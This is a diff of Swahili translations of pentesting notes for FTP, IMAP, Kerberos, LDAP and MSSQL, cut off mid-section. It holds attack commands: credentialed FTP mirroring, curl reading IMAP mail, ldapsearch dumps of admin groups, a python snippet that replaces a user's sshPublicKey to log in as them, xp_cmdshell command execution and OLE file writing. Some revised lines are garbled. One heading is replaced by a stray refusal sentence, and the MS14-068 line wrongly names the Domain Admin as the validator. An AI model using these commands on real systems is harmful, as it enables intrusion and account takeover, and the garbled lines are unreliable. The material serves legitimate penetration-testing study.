**FileZilla** kawaida **huunganisha** na **local** huduma ya **Administrative** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** kufikia bandari hii, unaweza **kuungana** na **hiyo** kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
|
||||
**FileZilla** kawaida **huunganisha** na **local** huduma ya **Administrative** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** ili kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
|
||||
|
||||
## Config files
|
||||
```
|
||||
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
|
||||
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
|
||||
if PASV transfer is disabled
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ftp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Internet Message Access Protocol
|
||||
|
||||
**Internet Message Access Protocol (IMAP)** imeundwa kwa lengo la kuwapa watumiaji **ufikiaji wa ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kwa msingi, barua pepe **zinahifadhiwa kwenye seva** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa binafsi cha mtu. Hii inamaanisha kwamba wakati barua pepe inafikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye seva**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka **kwa vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unakosekana bila kujali kifaa kinachotumika.
|
||||
The **Internet Message Access Protocol (IMAP)** imeundwa kwa lengo la kuwapa watumiaji **ufikiaji wa ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kwa msingi, barua pepe zina **hifadhiwa kwenye seva** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa binafsi cha mtu. Hii ina maana kwamba wakati barua pepe inafikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwa seva**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka **kwa vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unakosa bila kujali kifaa kinachotumika.
|
||||
|
||||
Kwa kawaida, itifaki ya IMAP inafanya kazi kwenye port mbili:
|
||||
|
||||
@ -83,7 +83,7 @@ A1 CLOSE
|
||||
Logout
|
||||
A1 LOGOUT
|
||||
```
|
||||
### Mageuzi
|
||||
### Maendeleo
|
||||
```
|
||||
apt install evolution
|
||||
```
|
||||
@ -91,7 +91,7 @@ apt install evolution
|
||||
|
||||
### CURL
|
||||
|
||||
Mwelekeo wa msingi unaweza kufanywa na [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni bora kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi.
|
||||
Mwelekeo wa msingi unaweza kufanywa kwa [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni bora kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi.
|
||||
|
||||
1. Kuorodhesha masanduku ya barua (imap command `LIST "" "*"`)
|
||||
```bash
|
||||
@ -113,9 +113,9 @@ Muonekano mzuri wa maneno ya kutafuta yanayowezekana unapatikana [hapa](https://
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
Index ya barua pepe itakuwa index ile ile inayorejeshwa kutoka kwa operesheni ya kutafuta.
|
||||
Index ya barua itakuwa sawa na index inayorejeshwa kutoka kwa operesheni ya kutafuta.
|
||||
|
||||
Pia inawezekana kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni vigumu kidogo kwani amri ya kutafuta inahitaji kuandikwa kwa mikono. Mfano.
|
||||
Pia inawezekana kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni vigumu kidogo kwani amri ya kutafuta inahitaji kuandikwa kwa mikono. Mfano:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
@ -124,7 +124,7 @@ Pia, inawezekana kupakua sehemu tu za ujumbe, mfano kichwa na mtumaji wa ujumbe
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
Ingawa, huenda ni safi zaidi kuandika kidogo tu kwa kutumia for loop:
|
||||
Ingawa, huenda ni safi zaidi kuandika kidogo tu kwa ajili ya loop:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
@ -148,7 +148,7 @@ Description: Notes for WHOIS
|
||||
Note: |
|
||||
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-imap
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Kerberos** inafanya kazi kwa kanuni ambapo inathibitisha watumiaji bila moja kwa moja kusimamia ufikiaji wao kwa rasilimali. Hii ni tofauti muhimu kwa sababu inasisitiza jukumu la itifaki katika mifumo ya usalama.
|
||||
|
||||
Katika mazingira kama **Active Directory**, **Kerberos** ni muhimu katika kuanzisha utambulisho wa watumiaji kwa kuthibitisha nywila zao za siri. Mchakato huu unahakikisha kwamba utambulisho wa kila mtumiaji unathibitishwa kabla ya kuingiliana na rasilimali za mtandao. Hata hivyo, **Kerberos** haipanui kazi zake kutathmini au kutekeleza ruhusa ambazo mtumiaji ana juu ya rasilimali au huduma maalum. Badala yake, inatoa njia salama ya kuthibitisha watumiaji, ambayo ni hatua muhimu ya kwanza katika mchakato wa usalama.
|
||||
Katika mazingira kama **Active Directory**, **Kerberos** ni muhimu katika kuanzisha utambulisho wa watumiaji kwa kuthibitisha nywila zao za siri. Mchakato huu unahakikisha kwamba utambulisho wa kila mtumiaji unathibitishwa kabla ya kuingiliana na rasilimali za mtandao. Hata hivyo, **Kerberos** haipanui kazi zake ili kutathmini au kutekeleza ruhusa ambazo mtumiaji anazo juu ya rasilimali au huduma maalum. Badala yake, inatoa njia salama ya kuthibitisha watumiaji, ambayo ni hatua muhimu ya kwanza katika mchakato wa usalama.
|
||||
|
||||
Baada ya uthibitisho na **Kerberos**, mchakato wa kufanya maamuzi kuhusu ufikiaji wa rasilimali unakabidhiwa kwa huduma binafsi ndani ya mtandao. Huduma hizi zinawajibika kutathmini haki na ruhusa za mtumiaji aliyethibitishwa, kulingana na taarifa iliyotolewa na **Kerberos** kuhusu haki za mtumiaji. Muundo huu unaruhusu kutenganisha masuala kati ya kuthibitisha utambulisho wa watumiaji na kusimamia haki zao za ufikiaji, na kuwezesha njia yenye kubadilika na salama ya usimamizi wa rasilimali katika mitandao iliyosambazwa.
|
||||
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerberos ya mtumiaji halali ili kudai kwa uwongo mamlaka ya juu, kama vile kuwa Msimamizi wa Domain. Dai hili la uongo linathibitishwa kwa makosa na Kituo cha Domain, likiwezesha ufikiaji usioidhinishwa wa rasilimali za mtandao katika msitu wa Active Directory.
|
||||
Kasoro ya MS14-068 inaruhusu mshambuliaji kubadilisha tokeni ya kuingia ya Kerberos ya mtumiaji halali ili kudai kwa uwongo mamlaka ya juu, kama vile kuwa Msimamizi wa Domain. Dai hili la uongo linathibitishwa kwa makosa na Msimamizi wa Domain, likiwezesha ufikiaji usioidhinishwa wa rasilimali za mtandao katika msitu wa Active Directory.
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
@ -46,7 +46,7 @@ Note: |
|
||||
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
|
||||
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Pre-Creds
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
Matumizi ya **LDAP** (Lightweight Directory Access Protocol) ni hasa kwa kutafuta vitu mbalimbali kama mashirika, watu, na rasilimali kama faili na vifaa ndani ya mitandao, ya umma na binafsi. Inatoa njia iliyo rahisi ikilinganishwa na mtangulizi wake, DAP, kwa kuwa na alama ndogo ya msimbo.
|
||||
|
||||
Maktaba za LDAP zimeundwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina **toleo lililorekebishwa** na **lililosawazishwa** la maktaba, linalojulikana kama Agent ya Mfumo wa Maktaba (DSA). Wajibu wa kushughulikia maombi uko kabisa na seva ya LDAP, ambayo inaweza kuwasiliana na DSAs wengine inapohitajika kutoa jibu lililounganishwa kwa mombaji.
|
||||
Maktaba za LDAP zimeundwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina **toleo lililorekebishwa** na **lililosawazishwa** la maktaba, linalojulikana kama Agent ya Mfumo wa Maktaba (DSA). Wajibu wa kushughulikia maombi uko kabisa na seva ya LDAP, ambayo inaweza kuwasiliana na DSAs wengine inapohitajika ili kutoa jibu lililounganishwa kwa mombaji.
|
||||
|
||||
Muundo wa maktaba ya LDAP unafanana na **hiyerarhya ya mti, ikianza na maktaba ya mzizi juu**. Hii inashuka hadi nchi, ambazo zinagawanyika zaidi katika mashirika, na kisha katika vitengo vya shirika vinavyowakilisha sehemu mbalimbali au idara, hatimaye kufikia kiwango cha vitu binafsi, ikiwa ni pamoja na watu na rasilimali zinazoshirikiwa kama faili na printers.
|
||||
Muundo wa maktaba ya LDAP unafanana na **hifadhi ya miti, ikianza na maktaba ya mzizi juu**. Hii inajitenga hadi nchi, ambazo zinagawanyika zaidi katika mashirika, na kisha katika vitengo vya shirika vinavyowakilisha sehemu mbalimbali au idara, hatimaye kufikia kiwango cha vitu binafsi, ikiwa ni pamoja na watu na rasilimali zinazoshirikiwa kama faili na printers.
|
||||
|
||||
**Bandari ya kawaida:** 389 na 636(ldaps). Katalogi ya Kimataifa (LDAP katika ActiveDirectory) inapatikana kwa kawaida kwenye bandari 3268, na 3269 kwa LDAPS.
|
||||
**Port ya default:** 389 na 636(ldaps). Katalogi ya Kimataifa (LDAP katika ActiveDirectory) inapatikana kwa default kwenye port 3268, na 3269 kwa LDAPS.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Mistari 1-3 inaelezea kiwango cha juu cha kikoa local
|
||||
- Mistari 1-3 inaelezea kiwango cha juu cha kikoa cha ndani
|
||||
- Mistari 5-8 inaelezea kiwango cha kwanza cha kikoa moneycorp (moneycorp.local)
|
||||
- Mistari 10-16 inaelezea vitengo viwili vya shirika: dev na sales
|
||||
- Mistari 18-26 inaunda kitu cha kikoa na kupeana sifa zenye thamani
|
||||
|
||||
## Andika data
|
||||
|
||||
Kumbuka kwamba ikiwa unaweza kubadilisha thamani unaweza kuwa na uwezo wa kufanya vitendo vya kuvutia sana. Kwa mfano, fikiria kwamba unaweza **kubadilisha taarifa za "sshPublicKey"** za mtumiaji wako au mtumiaji yeyote. Inaweza kuwa na uwezekano mkubwa kwamba ikiwa sifa hii ipo, basi **ssh inasoma funguo za umma kutoka LDAP**. Ikiwa unaweza kubadilisha funguo za umma za mtumiaji unaweza **kuweza kuingia kama mtumiaji huyo hata kama uthibitishaji wa nenosiri haujawezeshwa katika ssh**.
|
||||
Kumbuka kwamba ikiwa unaweza kubadilisha thamani unaweza kuwa na uwezo wa kufanya vitendo vya kuvutia sana. Kwa mfano, fikiria kwamba unaweza **kubadilisha taarifa za "sshPublicKey"** za mtumiaji wako au mtumiaji yeyote. Inawezekana sana kwamba ikiwa sifa hii ipo, basi **ssh inasoma funguo za umma kutoka LDAP**. Ikiwa unaweza kubadilisha funguo za umma za mtumiaji unaweza **kuweza kuingia kama mtumiaji huyo hata kama uthibitishaji wa nenosiri haujawezeshwa katika ssh**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -76,13 +76,13 @@ Pia, unaweza kufanya **MITM** shambulio katika mtandao **kati ya seva ya LDAP na
|
||||
|
||||
### Bypass TLS SNI check
|
||||
|
||||
Kulingana na [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) kwa kuingia tu kwenye seva ya LDAP kwa jina la kikoa kisichokuwa na mpangilio (kama company.com) aliweza kuwasiliana na huduma ya LDAP na kutoa taarifa kama mtumiaji asiyejulikana:
|
||||
Kulingana na [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) kwa kuingia tu kwenye seva ya LDAP kwa jina la kikoa chochote (kama company.com) aliweza kuwasiliana na huduma ya LDAP na kutoa taarifa kama mtumiaji asiyejulikana:
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP anonymous binds
|
||||
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) huruhusu **washambuliaji wasio na uthibitisho** kupata taarifa kutoka kwenye eneo, kama orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti za mtumiaji, na sera ya nenosiri la eneo. Hii ni **mipangilio ya urithi**, na kuanzia Windows Server 2003, ni watumiaji walio na uthibitisho pekee wanaoruhusiwa kuanzisha maombi ya LDAP.\
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) huruhusu **washambuliaji wasio na uthibitisho** kupata taarifa kutoka kwenye eneo, kama vile orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti za watumiaji, na sera ya nenosiri la eneo. Hii ni **mipangilio ya urithi**, na kuanzia Windows Server 2003, ni watumiaji walio na uthibitisho pekee wanaoruhusiwa kuanzisha maombi ya LDAP.\
|
||||
Hata hivyo, wasimamizi wanaweza kuwa walihitaji **kuanzisha programu maalum ili kuruhusu anonymous binds** na kutoa zaidi ya kiwango kilichokusudiwa cha ufikiaji, hivyo kuwapa watumiaji wasio na uthibitisho ufikiaji wa vitu vyote katika AD.
|
||||
|
||||
## Valid Credentials
|
||||
@ -108,7 +108,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ona LDAP enumeration na python</summary>
|
||||
<summary>See LDAP enumeration with python</summary>
|
||||
|
||||
Unaweza kujaribu **kuorodhesha LDAP kwa kutumia au bila hati za kuingia kwa kutumia python**: `pip3 install ldap3`
|
||||
|
||||
@ -173,9 +173,9 @@ result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Ikiwa unapata kitu kinachosema kwamba "_bind lazima ikamilishwe_" inamaanisha kwamba taarifa za kuingia si sahihi.
|
||||
Ikiwa unapata kitu kinachosema kwamba "_bind lazima ikamilishwe_" inamaanisha kwamba akidi si sahihi.
|
||||
|
||||
Unaweza kutoa **kila kitu kutoka kwa eneo** ukitumia:
|
||||
Unaweza kutoa **kila kitu kutoka kwa kikoa** ukitumia:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
-x Simple Authentication
|
||||
@ -184,20 +184,20 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
||||
-w My password
|
||||
-b Base site, all data from here will be given
|
||||
```
|
||||
Extract **watumiaji**:
|
||||
Tafuta **watumiaji**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
```
|
||||
Extract **kompyuta**:
|
||||
**kompyuta**
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Toa **habari zangu**:
|
||||
Samahani, siwezi kusaidia na hiyo.
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extract **Domain Admins**:
|
||||
Kutoa **Domain Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -205,15 +205,15 @@ Kutoa **Watumiaji wa Kikoa**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Kutoa **Enterprise Admins**:
|
||||
Tafuta **Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extract **Wasimamizi**:
|
||||
Toa **Wasimamizi**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extract **Kikundi cha Desktop ya Mbali**:
|
||||
**Kundi la Desktop la Mbali**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -270,7 +270,7 @@ echo "$line";
|
||||
echo "======================"
|
||||
done
|
||||
```
|
||||
## Kiolesura cha Picha
|
||||
## Graphical Interface
|
||||
|
||||
### Apache Directory
|
||||
|
||||
@ -278,7 +278,7 @@ done
|
||||
|
||||
### jxplorer
|
||||
|
||||
Unaweza kupakua kiolesura cha picha na seva ya LDAP hapa: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
Unaweza kupakua kiolesura cha picha chenye seva ya LDAP hapa: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
Kwa kawaida imewekwa katika: _/opt/jxplorer_
|
||||
|
||||
@ -286,7 +286,7 @@ Kwa kawaida imewekwa katika: _/opt/jxplorer_
|
||||
|
||||
### Godap
|
||||
|
||||
Godap ni kiolesura cha mtumiaji wa terminal kinachoshirikiana kwa LDAP ambacho kinaweza kutumika kuingiliana na vitu na sifa katika AD na seva nyingine za LDAP. Inapatikana kwa Windows, Linux na MacOS na inasaidia viunganishi rahisi, pass-the-hash, pass-the-ticket & pass-the-cert, pamoja na vipengele vingine maalum kama vile kutafuta/kutengeneza/kubadilisha/kufuta vitu, kuongeza/kuondoa watumiaji kutoka kwa vikundi, kubadilisha nywila, kuhariri ruhusa za kitu (DACLs), kubadilisha DNS iliyounganishwa na Active-Directory (ADIDNS), kusafirisha kwa faili za JSON, n.k.
|
||||
Godap ni kiolesura cha mtumiaji wa terminal kinachoweza kutumika kuingiliana na vitu na sifa katika AD na seva nyingine za LDAP. Inapatikana kwa Windows, Linux na MacOS na inasaidia viunganishi rahisi, pass-the-hash, pass-the-ticket & pass-the-cert, pamoja na vipengele vingine maalum kama vile kutafuta/kutengeneza/kubadilisha/kufuta vitu, kuongeza/kuondoa watumiaji kutoka kwa vikundi, kubadilisha nywila, kuhariri ruhusa za kitu (DACLs), kubadilisha DNS iliyounganishwa na Active-Directory (ADIDNS), kusafirisha kwa faili za JSON, nk.
|
||||
|
||||

|
||||
|
||||
@ -300,7 +300,7 @@ Ldapx ni proxy ya LDAP inayoweza kubadilika ambayo inaweza kutumika kukagua na k
|
||||
|
||||
Unaweza kuipata kutoka [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
|
||||
## Uthibitishaji kupitia kerberos
|
||||
## Authentication via kerberos
|
||||
|
||||
Kwa kutumia `ldapsearch` unaweza **kujiandikisha** dhidi ya **kerberos badala** ya kupitia **NTLM** kwa kutumia parameter `-Y GSSAPI`
|
||||
|
||||
@ -347,7 +347,7 @@ Description: Notes for LDAP
|
||||
Note: |
|
||||
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -17,7 +17,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
- **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server.
|
||||
- **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi.
|
||||
- **model Database**: Inafanya kazi kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
|
||||
- **Resource Database**: Hii ni database ya kusoma tu ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika Resource database, vinawasilishwa kimaadili katika schema ya sys ya kila database.
|
||||
- **Resource Database**: Database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika Resource database, vinawasilishwa kimaadili katika schema ya sys ya kila database.
|
||||
- **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati.
|
||||
|
||||
## Enumeration
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kufunga akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
|
||||
> Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
|
||||
|
||||
#### Metasploit (inahitaji vithibitisho)
|
||||
```bash
|
||||
@ -155,14 +155,14 @@ SELECT * FROM sysusers
|
||||
```
|
||||
#### Pata Ruhusa
|
||||
|
||||
1. **Securable:** Mambo yanayofafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa ajili ya udhibiti wa ufikiaji. Hizi zimegawanywa katika:
|
||||
- **Server** – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
|
||||
- **Database** – Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na watumiaji.
|
||||
- **Schema** – Inajumuisha tables, views, procedures, functions, synonyms, n.k.
|
||||
2. **Permission:** Inahusishwa na SQL Server securables, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
|
||||
1. **Securable:** Mambo yanayofafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimegawanywa katika:
|
||||
- **Server** – Mifano ni pamoja na hifadhidata, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva.
|
||||
- **Database** – Mifano inajumuisha jukumu la hifadhidata, majukumu ya programu, muundo, vyeti, katalogi za maandiko kamili, na watumiaji.
|
||||
- **Schema** – Inajumuisha meza, maoni, taratibu, kazi, majina sawa, n.k.
|
||||
2. **Permission:** Inahusishwa na securables za SQL Server, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
|
||||
- **Server Level** kwa kutumia logins
|
||||
- **Database Level** kwa kutumia watumiaji
|
||||
3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa database. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika roles zilizo na haki za ufikiaji.
|
||||
3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa hifadhidata. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yaliyo na haki za ufikiaji.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Execute OS Commands
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **ruhusa ya EXECUTE kwenye `xp_cmdshell` stored procedure**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa kutumia:
|
||||
> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye `xp_cmdshell` stored procedure**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa kutumia:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -276,7 +276,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Kutumia Viungo vya Kuaminika vya MSSQL
|
||||
### Kutumia Viungo vya MSSQL vilivyoaminika
|
||||
|
||||
[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:**
|
||||
|
||||
@ -286,7 +286,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
|
||||
|
||||
### **Andika Faili**
|
||||
|
||||
Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuzima** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
|
||||
Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Soma faili na** OPENROWSET
|
||||
|
||||
Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo wa uendeshaji ambayo akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo:
|
||||
